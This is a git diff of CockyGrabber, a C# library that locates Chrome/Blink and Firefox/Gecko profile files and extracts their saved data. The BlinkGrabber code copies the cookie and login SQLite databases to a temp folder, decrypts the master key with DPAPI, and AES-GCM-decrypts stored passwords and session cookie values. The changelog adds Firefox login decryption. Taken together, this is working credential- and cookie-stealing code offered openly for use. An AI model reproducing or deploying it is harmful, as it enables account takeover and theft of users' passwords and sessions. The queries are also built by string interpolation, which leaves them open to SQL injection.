diff --git a/Changelog.MD b/Changelog.MD
index 590a214..31cd5a9 100644
--- a/Changelog.MD
+++ b/Changelog.MD
@@ -1,3 +1,22 @@
+# 2.2.0
+
+## Additions
+
+* `Chromium` changed to `Blink`, and `Firefox` changed to `Gecko`
+* Added `BlinkGrabber` and `GeckoGrabber` which replace `ChromeGrabber` and `FirefoxGrabber`
+* Added Firefox Login Decryption
+* Added `GrabberException` which replaces `CookieDatabaseNotFoundException`, `LoginDatabaseNotFoundException`, and `LocalStateNotFoundException`
+
+## Improvements
+
+* Fixed the bug where you couldn't call the Method `GetAllChromiumCookies()` with the UniversalGrabber without it throwing an exception when at least one of the Browsers was not installed (same thing goes for `GetAllChromiumLogins()` and their Get-By equvalents)
+* Moved the documentation from Readme.md to the Github Wiki
+* Added support for mutliple Profiles on gecko based browsers like Firefox
+* Changed Timestamps from `long` to `DateTimeOffset`
+* Improved the use of the `DynamicJsonConverter`
+
+
+
# 2.1.0
## Additions
diff --git a/CockyGrabber/CockyGrabber/CockyGrabber.csproj b/CockyGrabber/CockyGrabber/CockyGrabber.csproj
index e27862d..fd124cd 100644
--- a/CockyGrabber/CockyGrabber/CockyGrabber.csproj
+++ b/CockyGrabber/CockyGrabber/CockyGrabber.csproj
@@ -69,24 +69,27 @@
-
-
-
-
+
+
+
+
-
+
-
-
+
+
+
-
+
+
+
diff --git a/CockyGrabber/CockyGrabber/Grabbers/ChromiumGrabber.cs b/CockyGrabber/CockyGrabber/EngineGrabbers/BlinkGrabber.cs
similarity index 62%
rename from CockyGrabber/CockyGrabber/Grabbers/ChromiumGrabber.cs
rename to CockyGrabber/CockyGrabber/EngineGrabbers/BlinkGrabber.cs
index 4f4e3af..15b12bd 100644
--- a/CockyGrabber/CockyGrabber/Grabbers/ChromiumGrabber.cs
+++ b/CockyGrabber/CockyGrabber/EngineGrabbers/BlinkGrabber.cs
@@ -1,325 +1,355 @@
-using CockyGrabber.Utility;
-using Org.BouncyCastle.Crypto;
-using Org.BouncyCastle.Crypto.Engines;
-using Org.BouncyCastle.Crypto.Modes;
-using Org.BouncyCastle.Crypto.Parameters;
-using System;
-using System.Collections.Generic;
-using System.IO;
-using System.Linq;
-using System.Security.Cryptography;
-using System.Text;
-using System.Web.Script.Serialization;
-
-namespace CockyGrabber.Grabbers
-{
- public class ChromiumGrabber
- {
- private const string CookieCommandText = "SELECT creation_utc,top_frame_site_key,host_key,name,value,encrypted_value,path,expires_utc,is_secure,is_httponly,last_access_utc,has_expires,is_persistent,priority,samesite,source_scheme,source_port,is_same_party FROM cookies";
- private const string LoginCommandText = "SELECT origin_url,action_url,username_element,username_value,password_element,password_value,submit_element,signon_realm,date_created,blacklisted_by_user,scheme,password_type,times_used,form_data,display_name,icon_url,federation_url,skip_zero_click,generation_upload_status,possible_username_pairs,id,date_last_used,moving_blocked_for,date_password_modified FROM logins";
- public virtual string ChromiumBrowserCookiePath { get; set; }
- public virtual string ChromiumBrowserLocalStatePath { get; set; }
- public virtual string ChromiumBrowserLoginDataPath { get; set; }
-
- private readonly JavaScriptSerializer JSON_Serializer = new JavaScriptSerializer();
- public ChromiumGrabber()
- {
- JSON_Serializer.RegisterConverters(new[] { new DynamicJsonConverter() }); // Register DynamicJsonConverter for dynamic JSON (De)Serialisation
- }
-
- #region IO Functions
- ///
- /// Create a temporary file(path) in %temp%
- ///
- /// The path to the temp file
- private string GetTempFileName() => Path.Combine(Path.GetTempPath(), Guid.NewGuid().ToString()); // This is better than Path.GetTempFileName() because GetTempFileName is most of the time inaccurate
-
- ///
- /// Returns a value depending on if the database with the stored cookies was found
- ///
- public bool CookiesExist() => File.Exists(ChromiumBrowserCookiePath);
-
- ///
- /// Returns a value depending on if the database with the stored logins was found
- ///
- public bool LoginsExist() => File.Exists(ChromiumBrowserLoginDataPath);
-
- ///
- /// Returns a value depending on if the key for decrypting the cookies was found
- ///
- public bool KeyExists() => File.Exists(ChromiumBrowserLocalStatePath);
- #endregion
-
- #region GetCookies()
- public IEnumerable GetCookiesBy(Chromium.CookieHeader by, object value) => GetCookiesBy(by, value, GetKey());
- public IEnumerable GetCookiesBy(Chromium.CookieHeader by, object value, byte[] key)
- {
- List cookies = new List();
- if (value == null) throw new ArgumentNullException("value"); // throw a ArgumentNullException if value was not defined
- if (!CookiesExist()) throw new CookieDatabaseNotFoundException(ChromiumBrowserCookiePath); // throw a CookieDatabaseNotFoundException if the Cookie DB was not found
-
- // Copy the database to a temporary location because it could be already in use
- string tempFile = GetTempFileName();
- File.Copy(ChromiumBrowserCookiePath, tempFile);
-
- using (var conn = new System.Data.SQLite.SQLiteConnection($"Data Source={tempFile};pooling=false"))
- using (var cmd = conn.CreateCommand())
- {
- cmd.CommandText = $"{CookieCommandText} WHERE {by} = '{value}'";
-
- conn.Open();
- using (var reader = cmd.ExecuteReader())
- {
- while (reader.Read())
- {
- // Store retrieved information:
- cookies.Add(new Chromium.Cookie()
- {
- CreationUTC = reader.GetInt64(0),
- TopFrameSiteKey = reader.GetString(1),
- HostKey = reader.GetString(2),
- Name = reader.GetString(3),
- Value = reader.GetString(4),
- EncryptedValue = DecryptWithKey((byte[])reader[5], key, 3),
- Path = reader.GetString(6),
- ExpiresUTC = reader.GetInt64(7),
- IsSecure = reader.GetBoolean(8),
- IsHttpOnly = reader.GetBoolean(9),
- LastAccessUTC = reader.GetInt64(10),
- HasExpires = reader.GetBoolean(11),
- IsPersistent = reader.GetBoolean(12),
- Priority = reader.GetInt16(13),
- Samesite = reader.GetInt16(14),
- SourceScheme = reader.GetInt16(15),
- SourcePort = reader.GetInt32(16),
- IsSameParty = reader.GetBoolean(17),
- });
- }
- }
- conn.Close();
- }
- File.Delete(tempFile);
-
- return cookies;
- }
-
- public IEnumerable GetCookies() => GetCookies(GetKey());
- public IEnumerable GetCookies(byte[] key)
- {
- List cookies = new List();
- if (!CookiesExist()) throw new CookieDatabaseNotFoundException(ChromiumBrowserCookiePath); // throw a CookieDatabaseNotFoundException if the Cookie DB was not found
-
- // Copy the database to a temporary location because it could be already in use
- string tempFile = GetTempFileName();
- File.Copy(ChromiumBrowserCookiePath, tempFile);
-
- using (var conn = new System.Data.SQLite.SQLiteConnection($"Data Source={tempFile};pooling=false"))
- using (var cmd = conn.CreateCommand())
- {
- cmd.CommandText = CookieCommandText;
-
- conn.Open();
- using (var reader = cmd.ExecuteReader())
- {
- while (reader.Read())
- {
- // Store retrieved information:
- cookies.Add(new Chromium.Cookie()
- {
- CreationUTC = reader.GetInt64(0),
- TopFrameSiteKey = reader.GetString(1),
- HostKey = reader.GetString(2),
- Name = reader.GetString(3),
- Value = reader.GetString(4),
- EncryptedValue = DecryptWithKey((byte[])reader[5], key, 3),
- Path = reader.GetString(6),
- ExpiresUTC = reader.GetInt64(7),
- IsSecure = reader.GetBoolean(8),
- IsHttpOnly = reader.GetBoolean(9),
- LastAccessUTC = reader.GetInt64(10),
- HasExpires = reader.GetBoolean(11),
- IsPersistent = reader.GetBoolean(12),
- Priority = reader.GetInt16(13),
- Samesite = reader.GetInt16(14),
- SourceScheme = reader.GetInt16(15),
- SourcePort = reader.GetInt32(16),
- IsSameParty = reader.GetBoolean(17),
- });
- }
- }
- conn.Close();
- }
- File.Delete(tempFile);
-
- return cookies;
- }
- #endregion
-
- #region GetLogins()
- public IEnumerable GetLoginsBy(Chromium.LoginHeader by, object value) => GetLoginsBy(by, value, GetKey());
- public IEnumerable GetLoginsBy(Chromium.LoginHeader by, object value, byte[] key)
- {
- List password = new List();
- if (value == null) throw new ArgumentNullException("value"); // throw a ArgumentNullException if value was not defined
- if (!LoginsExist()) throw new LoginDatabaseNotFoundException(ChromiumBrowserLoginDataPath); // throw a LoginDatabaseNotFoundException if the Login DB was not found
-
- // Copy the database to a temporary location because it could be already in use
- string tempFile = GetTempFileName();
- File.Copy(ChromiumBrowserLoginDataPath, tempFile);
-
- using (var conn = new System.Data.SQLite.SQLiteConnection($"Data Source={tempFile};pooling=false"))
- using (var cmd = conn.CreateCommand())
- {
- cmd.CommandText = $"{LoginCommandText} WHERE {by} = '{value}'";
-
- conn.Open();
- using (var reader = cmd.ExecuteReader())
- {
- while (reader.Read())
- {
- // Store retrieved information:
- password.Add(new Chromium.Login()
- {
- OriginUrl = reader.GetString(0),
- ActionUrl = reader.GetString(1),
- UsernameElement = reader.GetString(2),
- UsernameValue = reader.GetString(3),
- PasswordElement = reader.GetString(4),
- PasswordValue = DecryptWithKey((byte[])reader[5], key, 3),
- SubmitElement = reader.GetString(6),
- SignonRealm = reader.GetString(7),
- DateCreated = reader.GetInt64(8),
- IsBlacklistedByUser = reader.GetBoolean(9),
- Scheme = reader.GetInt32(10),
- PasswordType = reader.GetInt32(11),
- TimesUsed = reader.GetInt32(12),
- FormData = DecryptWithKey((byte[])reader[13], key, 3),
- DisplayName = reader.GetString(14),
- IconUrl = reader.GetString(15),
- FederationUrl = reader.GetString(16),
- SkipZeroClick = reader.GetInt32(17),
- GenerationUploadStatus = reader.GetInt32(18),
- PossibleUsernamePairs = DecryptWithKey((byte[])reader[19], key, 3),
- Id = reader.GetInt32(20),
- DateLastUsed = reader.GetInt64(21),
- MovingBlockedFor = DecryptWithKey((byte[])reader[22], key, 3),
- DatePasswordModified = reader.GetInt64(23),
- });
- }
- }
- conn.Close();
- }
- File.Delete(tempFile);
-
- return password;
- }
-
- public IEnumerable GetLogins() => GetLogins(GetKey());
- public IEnumerable GetLogins(byte[] key)
- {
- List password = new List();
- if (!LoginsExist()) throw new LoginDatabaseNotFoundException(ChromiumBrowserLoginDataPath); // throw a LoginDatabaseNotFoundException if the Login DB was not found
-
- // Copy the database to a temporary location because it could be already in use
- string tempFile = GetTempFileName();
- File.Copy(ChromiumBrowserLoginDataPath, tempFile);
-
- using (var conn = new System.Data.SQLite.SQLiteConnection($"Data Source={tempFile};pooling=false"))
- using (var cmd = conn.CreateCommand())
- {
- cmd.CommandText = LoginCommandText;
-
- conn.Open();
- using (var reader = cmd.ExecuteReader())
- {
- while (reader.Read())
- {
- password.Add(new Chromium.Login()
- {
- // Store retrieved information:
- OriginUrl = reader.GetString(0),
- ActionUrl = reader.GetString(1),
- UsernameElement = reader.GetString(2),
- UsernameValue = reader.GetString(3),
- PasswordElement = reader.GetString(4),
- PasswordValue = DecryptWithKey((byte[])reader[5], key, 3),
- SubmitElement = reader.GetString(6),
- SignonRealm = reader.GetString(7),
- DateCreated = reader.GetInt64(8),
- IsBlacklistedByUser = reader.GetBoolean(9),
- Scheme = reader.GetInt32(10),
- PasswordType = reader.GetInt32(11),
- TimesUsed = reader.GetInt32(12),
- FormData = DecryptWithKey((byte[])reader[13], key, 3),
- DisplayName = reader.GetString(14),
- IconUrl = reader.GetString(15),
- FederationUrl = reader.GetString(16),
- SkipZeroClick = reader.GetInt32(17),
- GenerationUploadStatus = reader.GetInt32(18),
- PossibleUsernamePairs = DecryptWithKey((byte[])reader[19], key, 3),
- Id = reader.GetInt32(20),
- DateLastUsed = reader.GetInt64(21),
- MovingBlockedFor = DecryptWithKey((byte[])reader[22], key, 3),
- DatePasswordModified = reader.GetInt64(23),
- });
- }
- }
- conn.Close();
- }
- File.Delete(tempFile);
-
- return password;
- }
- #endregion
-
- ///
- /// Returns the key to decrypt encrypted BLOB database values
- ///
- public byte[] GetKey()
- {
- if (!KeyExists()) throw new LocalStateNotFoundException(ChromiumBrowserLocalStatePath); // throw a LocalStateNotFoundException if the "Local State" file that stores the key for decryption was not found
-
- string fileText = File.ReadAllText(ChromiumBrowserLocalStatePath); // Read file
-
- dynamic dobj = JSON_Serializer.Deserialize(fileText, typeof(object)); // Deserialize fileText
- string encKey = dobj.os_crypt.encrypted_key; // this is the encrypted key as a string
-
- return ProtectedData.Unprotect(Convert.FromBase64String(encKey).Skip(5).ToArray(), null, DataProtectionScope.LocalMachine); // Decrypt the encrypted key through unprotection and return a byte Array
- }
-
- // undocumented;
- private string DecryptWithKey(byte[] msg, byte[] key, int nonSecretPayloadLength)
- {
- const int KEY_BIT_SIZE = 256;
- const int MAC_BIT_SIZE = 128;
- const int NONCE_BIT_SIZE = 96;
-
- if (key == null || key.Length != KEY_BIT_SIZE / 8)
- throw new ArgumentException($"Key needs to be {KEY_BIT_SIZE} bit!", "key");
- if (msg == null || msg.Length == 0)
- throw new ArgumentException("Message required!", "message");
-
- using (var cipherStream = new MemoryStream(msg))
- using (var cipherReader = new BinaryReader(cipherStream))
- {
- var nonSecretPayload = cipherReader.ReadBytes(nonSecretPayloadLength);
- var nonce = cipherReader.ReadBytes(NONCE_BIT_SIZE / 8);
- var cipher = new GcmBlockCipher(new AesEngine());
- var parameters = new AeadParameters(new KeyParameter(key), MAC_BIT_SIZE, nonce);
- cipher.Init(false, parameters);
- var cipherText = cipherReader.ReadBytes(msg.Length);
- var plainText = new byte[cipher.GetOutputSize(cipherText.Length)];
- try
- {
- var len = cipher.ProcessBytes(cipherText, 0, cipherText.Length, plainText, 0);
- cipher.DoFinal(plainText, len);
- }
- catch (InvalidCipherTextException)
- {
- return null;
- }
- return Encoding.Default.GetString(plainText);
- }
- }
- }
-}
+using CockyGrabber.Utility;
+using Org.BouncyCastle.Crypto;
+using Org.BouncyCastle.Crypto.Engines;
+using Org.BouncyCastle.Crypto.Modes;
+using Org.BouncyCastle.Crypto.Parameters;
+using System;
+using System.Collections.Generic;
+using System.Data.SQLite;
+using System.IO;
+using System.Linq;
+using System.Security.Cryptography;
+using System.Text;
+using System.Web.Script.Serialization;
+
+namespace CockyGrabber.Grabbers
+{
+ public class BlinkGrabber
+ {
+ private const string CookieCommandText = "SELECT creation_utc,top_frame_site_key,host_key,name,value,encrypted_value,path,expires_utc,is_secure,is_httponly,last_access_utc,has_expires,is_persistent,priority,samesite,source_scheme,source_port,is_same_party FROM cookies";
+ private const string LoginCommandText = "SELECT origin_url,action_url,username_element,username_value,password_element,password_value,submit_element,signon_realm,date_created,blacklisted_by_user,scheme,password_type,times_used,form_data,display_name,icon_url,federation_url,skip_zero_click,generation_upload_status,possible_username_pairs,id,date_last_used,moving_blocked_for,date_password_modified FROM logins";
+ public virtual string CookiePath { get; set; }
+ public virtual string LocalStatePath { get; set; }
+ public virtual string LoginDataPath { get; set; }
+
+ private readonly JavaScriptSerializer JSON_Serializer = new JavaScriptSerializer();
+ public BlinkGrabber()
+ {
+ JSON_Serializer.RegisterConverters(new[] { new DynamicJsonConverter() }); // Register DynamicJsonConverter for dynamic JSON (De)Serialisation
+ }
+
+ #region IO Functions
+ ///
+ /// Copies a file to a temporary location in %temp%
+ ///
+ /// Path to the file that should be copied to a temporary location
+ /// The path to the temp file
+ private string CopyToTempFile(string path)
+ {
+ string tempFilePath = GetTempFilePath();
+ if (File.Exists(tempFilePath)) // If File already exists:
+ return CopyToTempFile(path); // Repeat previous steps
+ File.Copy(path, tempFilePath);
+ return tempFilePath;
+ }
+
+ ///
+ /// Create an imaginary path to a temporary file in %temp%
+ ///
+ /// The path to the temp file
+ private string GetTempFilePath() => Path.Combine(Path.GetTempPath(), Guid.NewGuid().ToString()); // This is better than Path.GetTempFileName() because GetTempFileName is most of the time inaccurate
+
+ ///
+ /// Returns a value depending on if the database with the stored cookies was found
+ ///
+ /// True if the cookies exist
+ public bool CookiesExist() => File.Exists(CookiePath);
+
+ ///
+ /// Returns a value depending on if the database with the stored logins was found
+ ///
+ /// True if the logins exist
+ public bool LoginsExist() => File.Exists(LoginDataPath);
+
+ ///
+ /// Returns a value depending on if the file that stores the key for the value decryption was found
+ ///
+ /// True if the file with the key exist
+ public bool KeyExists() => File.Exists(LocalStatePath);
+ #endregion
+
+ #region GetCookies()
+ public IEnumerable GetCookiesBy(Blink.CookieHeader by, object value) => GetCookiesBy(by, value, GetKey());
+ public IEnumerable GetCookiesBy(Blink.CookieHeader by, object value, byte[] key)
+ {
+ List cookies = new List();
+ if (value == null) throw new ArgumentNullException("value"); // throw a ArgumentNullException if value was not defined
+ if (!CookiesExist()) throw new GrabberException(GrabberError.CookiesNotFound, $"The Cookie database could not be found: {CookiePath}"); // throw a Exception if the Cookie DB was not found
+
+ // Copy the database to a temporary location because it could be already in use
+ string tempFile = CopyToTempFile(CookiePath);
+
+ using (var conn = new SQLiteConnection($"Data Source={tempFile};pooling=false"))
+ using (var cmd = conn.CreateCommand())
+ {
+ cmd.CommandText = $"{CookieCommandText} WHERE {by} = '{value}'";
+
+ conn.Open();
+ using (var reader = cmd.ExecuteReader())
+ {
+ while (reader.Read())
+ {
+ // Store retrieved information:
+ cookies.Add(new Blink.Cookie()
+ {
+ CreationUTC = WebkitTimeStampToDateTime(reader.GetInt64(0)),
+ TopFrameSiteKey = reader.GetString(1),
+ HostKey = reader.GetString(2),
+ Name = reader.GetString(3),
+ Value = reader.GetString(4),
+ EncryptedValue = reader.GetString(5),
+ DecryptedValue = DecryptWithKey((byte[])reader[5], key, 3),
+ Path = reader.GetString(6),
+ ExpiresUTC = WebkitTimeStampToDateTime(reader.GetInt64(7)),
+ IsSecure = reader.GetBoolean(8),
+ IsHttpOnly = reader.GetBoolean(9),
+ LastAccessUTC = WebkitTimeStampToDateTime(reader.GetInt64(10)),
+ HasExpires = reader.GetBoolean(11),
+ IsPersistent = reader.GetBoolean(12),
+ Priority = reader.GetInt16(13),
+ Samesite = reader.GetInt16(14),
+ SourceScheme = reader.GetInt16(15),
+ SourcePort = reader.GetInt32(16),
+ IsSameParty = reader.GetBoolean(17),
+ });
+ }
+ }
+ conn.Close();
+ }
+ File.Delete(tempFile);
+
+ return cookies;
+ }
+
+ public IEnumerable GetCookies() => GetCookies(GetKey());
+ public IEnumerable GetCookies(byte[] key)
+ {
+ List cookies = new List();
+ if (!CookiesExist()) throw new GrabberException(GrabberError.CookiesNotFound, $"The Cookie database could not be found: {CookiePath}"); // throw a Exception if the Cookie DB was not found
+
+ // Copy the database to a temporary location in case it could be already in use:
+ string tempFile = CopyToTempFile(CookiePath);
+
+ using (var conn = new SQLiteConnection($"Data Source={tempFile};pooling=false"))
+ using (var cmd = conn.CreateCommand())
+ {
+ cmd.CommandText = CookieCommandText;
+
+ conn.Open();
+ using (var reader = cmd.ExecuteReader())
+ {
+ while (reader.Read())
+ {
+ // Store retrieved information:
+ cookies.Add(new Blink.Cookie()
+ {
+ CreationUTC = WebkitTimeStampToDateTime(reader.GetInt64(0)),
+ TopFrameSiteKey = reader.GetString(1),
+ HostKey = reader.GetString(2),
+ Name = reader.GetString(3),
+ Value = reader.GetString(4),
+ EncryptedValue = reader.GetString(5),
+ DecryptedValue = DecryptWithKey((byte[])reader[5], key, 3),
+ Path = reader.GetString(6),
+ ExpiresUTC = WebkitTimeStampToDateTime(reader.GetInt64(7)),
+ IsSecure = reader.GetBoolean(8),
+ IsHttpOnly = reader.GetBoolean(9),
+ LastAccessUTC = WebkitTimeStampToDateTime(reader.GetInt64(10)),
+ HasExpires = reader.GetBoolean(11),
+ IsPersistent = reader.GetBoolean(12),
+ Priority = reader.GetInt16(13),
+ Samesite = reader.GetInt16(14),
+ SourceScheme = reader.GetInt16(15),
+ SourcePort = reader.GetInt32(16),
+ IsSameParty = reader.GetBoolean(17),
+ });
+ }
+ }
+ conn.Close();
+ }
+ File.Delete(tempFile);
+
+ return cookies;
+ }
+ #endregion
+
+ #region GetLogins()
+ public IEnumerable GetLoginsBy(Blink.LoginHeader by, object value) => GetLoginsBy(by, value, GetKey());
+ public IEnumerable GetLoginsBy(Blink.LoginHeader by, object value, byte[] key)
+ {
+ List password = new List();
+ if (value == null) throw new ArgumentNullException("value"); // throw a ArgumentNullException if value was not defined
+ if (!LoginsExist()) throw new GrabberException(GrabberError.LoginsNotFound, $"The Login database could not be found: {LoginDataPath}"); // throw a Exception if the Login DB was not found
+
+ // Copy the database to a temporary location because it could be already in use
+ string tempFile = CopyToTempFile(LoginDataPath);
+
+ using (var conn = new System.Data.SQLite.SQLiteConnection($"Data Source={tempFile};pooling=false"))
+ using (var cmd = conn.CreateCommand())
+ {
+ cmd.CommandText = $"{LoginCommandText} WHERE {by} = '{value}'";
+
+ conn.Open();
+ using (var reader = cmd.ExecuteReader())
+ {
+ while (reader.Read())
+ {
+ // Store retrieved information:
+ password.Add(new Blink.Login()
+ {
+ OriginUrl = reader.GetString(0),
+ ActionUrl = reader.GetString(1),
+ UsernameElement = reader.GetString(2),
+ UsernameValue = reader.GetString(3),
+ PasswordElement = reader.GetString(4),
+ PasswordValue = reader.GetString(5),
+ DecryptedPasswordValue = DecryptWithKey((byte[])reader[5], key, 3),
+ SubmitElement = reader.GetString(6),
+ SignonRealm = reader.GetString(7),
+ DateCreated = WebkitTimeStampToDateTime(reader.GetInt64(8)),
+ IsBlacklistedByUser = reader.GetBoolean(9),
+ Scheme = reader.GetInt32(10),
+ PasswordType = reader.GetInt32(11),
+ TimesUsed = reader.GetInt32(12),
+ FormData = DecryptWithKey((byte[])reader[13], key, 3),
+ DisplayName = reader.GetString(14),
+ IconUrl = reader.GetString(15),
+ FederationUrl = reader.GetString(16),
+ SkipZeroClick = reader.GetInt32(17),
+ GenerationUploadStatus = reader.GetInt32(18),
+ PossibleUsernamePairs = DecryptWithKey((byte[])reader[19], key, 3),
+ Id = reader.GetInt32(20),
+ DateLastUsed = WebkitTimeStampToDateTime(reader.GetInt64(21)),
+ MovingBlockedFor = DecryptWithKey((byte[])reader[22], key, 3),
+ DatePasswordModified = WebkitTimeStampToDateTime(reader.GetInt64(23)),
+ });
+ }
+ }
+ conn.Close();
+ }
+ File.Delete(tempFile);
+
+ return password;
+ }
+
+ public IEnumerable GetLogins() => GetLogins(GetKey());
+ public IEnumerable GetLogins(byte[] key)
+ {
+ List password = new List();
+ if (!LoginsExist()) throw new GrabberException(GrabberError.LoginsNotFound, $"The Login database could not be found: {LoginDataPath}"); // throw a Exception if the Login DB was not found
+
+ // Copy the database to a temporary location because it could be already in use
+ string tempFile = CopyToTempFile(LoginDataPath);
+
+ using (var conn = new SQLiteConnection($"Data Source={tempFile};pooling=false"))
+ using (var cmd = conn.CreateCommand())
+ {
+ cmd.CommandText = LoginCommandText;
+
+ conn.Open();
+ using (var reader = cmd.ExecuteReader())
+ {
+ while (reader.Read())
+ {
+ password.Add(new Blink.Login()
+ {
+ // Store retrieved information:
+ OriginUrl = reader.GetString(0),
+ ActionUrl = reader.GetString(1),
+ UsernameElement = reader.GetString(2),
+ UsernameValue = reader.GetString(3),
+ PasswordElement = reader.GetString(4),
+ PasswordValue = reader.GetString(5),
+ DecryptedPasswordValue = DecryptWithKey((byte[])reader[5], key, 3),
+ SubmitElement = reader.GetString(6),
+ SignonRealm = reader.GetString(7),
+ DateCreated = WebkitTimeStampToDateTime(reader.GetInt64(8)),
+ IsBlacklistedByUser = reader.GetBoolean(9),
+ Scheme = reader.GetInt32(10),
+ PasswordType = reader.GetInt32(11),
+ TimesUsed = reader.GetInt32(12),
+ FormData = DecryptWithKey((byte[])reader[13], key, 3),
+ DisplayName = reader.GetString(14),
+ IconUrl = reader.GetString(15),
+ FederationUrl = reader.GetString(16),
+ SkipZeroClick = reader.GetInt32(17),
+ GenerationUploadStatus = reader.GetInt32(18),
+ PossibleUsernamePairs = DecryptWithKey((byte[])reader[19], key, 3),
+ Id = reader.GetInt32(20),
+ DateLastUsed = WebkitTimeStampToDateTime(reader.GetInt64(21)),
+ MovingBlockedFor = DecryptWithKey((byte[])reader[22], key, 3),
+ DatePasswordModified = WebkitTimeStampToDateTime(reader.GetInt64(23)),
+ });
+ }
+ }
+ conn.Close();
+ }
+ File.Delete(tempFile);
+
+ return password;
+ }
+ #endregion
+
+ ///
+ /// Returns the key to decrypt encrypted BLOB database values
+ ///
+ public byte[] GetKey()
+ {
+ if (!KeyExists()) throw new GrabberException(GrabberError.LocalStateNotFound, $"The Key for decryption (Local State) could not be found: {LocalStatePath}"); // throw a Exception if the "Local State" file that stores the key for decryption was not found
+
+ string fileText = File.ReadAllText(LocalStatePath); // Read file
+
+ dynamic dobj = JSON_Serializer.Deserialize(fileText, typeof(object)); // Deserialize fileText
+ string encKey = (string)dobj.os_crypt.encrypted_key; // this is the encrypted key as a string
+
+ return ProtectedData.Unprotect(Convert.FromBase64String(encKey).Skip(5).ToArray(), null, DataProtectionScope.LocalMachine); // Decrypt the encrypted key through unprotection and return a byte Array
+ }
+
+ // undocumented;
+ private string DecryptWithKey(byte[] msg, byte[] key, int nonSecretPayloadLength)
+ {
+ const int KEY_BIT_SIZE = 256;
+ const int MAC_BIT_SIZE = 128;
+ const int NONCE_BIT_SIZE = 96;
+
+ if (key == null || key.Length != KEY_BIT_SIZE / 8)
+ throw new ArgumentException($"Key needs to be {KEY_BIT_SIZE} bit!", "key");
+ if (msg == null || msg.Length == 0)
+ throw new ArgumentException("Message required!", "message");
+
+ using (var cipherStream = new MemoryStream(msg))
+ using (var cipherReader = new BinaryReader(cipherStream))
+ {
+ var nonSecretPayload = cipherReader.ReadBytes(nonSecretPayloadLength);
+ var nonce = cipherReader.ReadBytes(NONCE_BIT_SIZE / 8);
+ var cipher = new GcmBlockCipher(new AesEngine());
+ var parameters = new AeadParameters(new KeyParameter(key), MAC_BIT_SIZE, nonce);
+ cipher.Init(false, parameters);
+ var cipherText = cipherReader.ReadBytes(msg.Length);
+ var plainText = new byte[cipher.GetOutputSize(cipherText.Length)];
+ try
+ {
+ var len = cipher.ProcessBytes(cipherText, 0, cipherText.Length, plainText, 0);
+ cipher.DoFinal(plainText, len);
+ }
+ catch (InvalidCipherTextException)
+ {
+ return null;
+ }
+ return Encoding.Default.GetString(plainText);
+ }
+ }
+
+ // TimeStamp To DateTimeOffset Functions:
+ public static DateTimeOffset WebkitTimeStampToDateTime(long microSeconds)
+ {
+ DateTime dateTime = new DateTime(1601, 1, 1, 0, 0, 0, 0, DateTimeKind.Utc);
+ if (microSeconds != 0 && microSeconds.ToString().Length < 18)
+ {
+ microSeconds /= 1000000;
+ dateTime = dateTime.AddSeconds(microSeconds).ToLocalTime();
+ }
+ return dateTime;
+ }
+ }
+}
diff --git a/CockyGrabber/CockyGrabber/EngineGrabbers/GeckoGrabber.cs b/CockyGrabber/CockyGrabber/EngineGrabbers/GeckoGrabber.cs
new file mode 100644
index 0000000..1ba3f75
--- /dev/null
+++ b/CockyGrabber/CockyGrabber/EngineGrabbers/GeckoGrabber.cs
@@ -0,0 +1,300 @@
+using CockyGrabber.Utility;
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Web.Script.Serialization;
+
+namespace CockyGrabber.Grabbers
+{
+ public class GeckoGrabber
+ {
+ private const string CookieCommandText = "SELECT id,originAttributes,name,value,host,path,expiry,lastAccessed,creationTime,isSecure,isHttpOnly,inBrowserElement,sameSite,rawSameSite,schemeMap FROM moz_cookies";
+ public virtual string ProfilesPath { get; set; }
+ public string[] Profiles { get; private set; }
+ private const string CookiesPath = "\\cookies.sqlite";
+ private const string LoginsPath = "\\logins.json";
+
+ private readonly JavaScriptSerializer JSON_Serializer = new JavaScriptSerializer();
+
+ public GeckoGrabber()
+ {
+ // Check if all profiles exist:
+ if (!Directory.Exists(ProfilesPath))
+ throw new GrabberException(GrabberError.ProfileNotFound, $"Gecko profile path was not found: {ProfilesPath}");
+
+ // Store all valid gecko profiles:
+ Profiles = Directory.GetDirectories(ProfilesPath).Where(str => File.Exists(str + CookiesPath) && File.Exists(str + "\\logins.json")).ToArray();
+
+ JSON_Serializer.RegisterConverters(new[] { new DynamicJsonConverter() }); // Register DynamicJsonConverter for dynamic JSON (De)Serialisation
+ }
+
+ #region IO Functions
+ ///
+ /// Copies a file to a temporary location in %temp%
+ ///
+ /// Path to the file that should be copied to a temporary location
+ /// The path to the temp file
+ private string CopyToTempFile(string path)
+ {
+ string tempFilePath = GetTempFilePath();
+ if (File.Exists(tempFilePath)) // If File already exists:
+ return CopyToTempFile(path); // Repeat previous steps
+ File.Copy(path, tempFilePath);
+ return tempFilePath;
+ }
+
+ ///
+ /// Create an imaginary path to a temporary file in %temp%
+ ///
+ /// The path to the temp file
+ private string GetTempFilePath() => Path.Combine(Path.GetTempPath(), Guid.NewGuid().ToString()); // This is better than Path.GetTempFileName() because GetTempFileName is most of the time inaccurate
+
+ ///
+ /// Returns a value depending on if the database of a specific profile with the stored cookies was found
+ ///
+ /// Path to the gecko profile
+ /// True if the cookies exist
+ public bool CookiesExist(string profilePath) => File.Exists(profilePath + CookiesPath);
+
+ ///
+ /// Returns a value depending on if the database of a specific profile with the stored logins was found
+ ///
+ /// Path to the gecko profile
+ /// True if the logins exist
+ public bool LoginsExist(string profilePath) => File.Exists(profilePath + LoginsPath);
+ #endregion
+
+ #region GetCookies()
+ public IEnumerable GetCookiesBy(Gecko.CookieHeader by, object value)
+ {
+ List cookies = new List();
+ if (value == null) throw new ArgumentNullException("value"); // throw a ArgumentNullException if value was not defined
+ foreach (string profile in Profiles)
+ {
+ if (!LoginsExist(profile)) throw new GrabberException(GrabberError.CookiesNotFound, $"The Cookie database could not be found: {CookieCommandText}"); // throw a Exception if the Cookie DB was not found
+
+ // Copy the database to a temporary location because it could be already in use
+ string tempFile = CopyToTempFile(profile + CookiesPath);
+
+ using (var conn = new System.Data.SQLite.SQLiteConnection($"Data Source={tempFile};pooling=false"))
+ using (var cmd = conn.CreateCommand())
+ {
+ cmd.CommandText = $"{CookieCommandText} WHERE {by} = '{value}'";
+
+ conn.Open();
+ using (var reader = cmd.ExecuteReader())
+ {
+ while (reader.Read())
+ {
+ cookies.Add(new Gecko.Cookie()
+ {
+ Id = reader.GetInt32(0),
+ OriginAttributes = reader.GetString(1),
+ Name = reader.GetString(2),
+ Value = reader.GetString(3),
+ Host = reader.GetString(4),
+ Path = reader.GetString(5),
+ Expiry = UnixTimeInSecondsToDate(reader.GetInt64(6)),
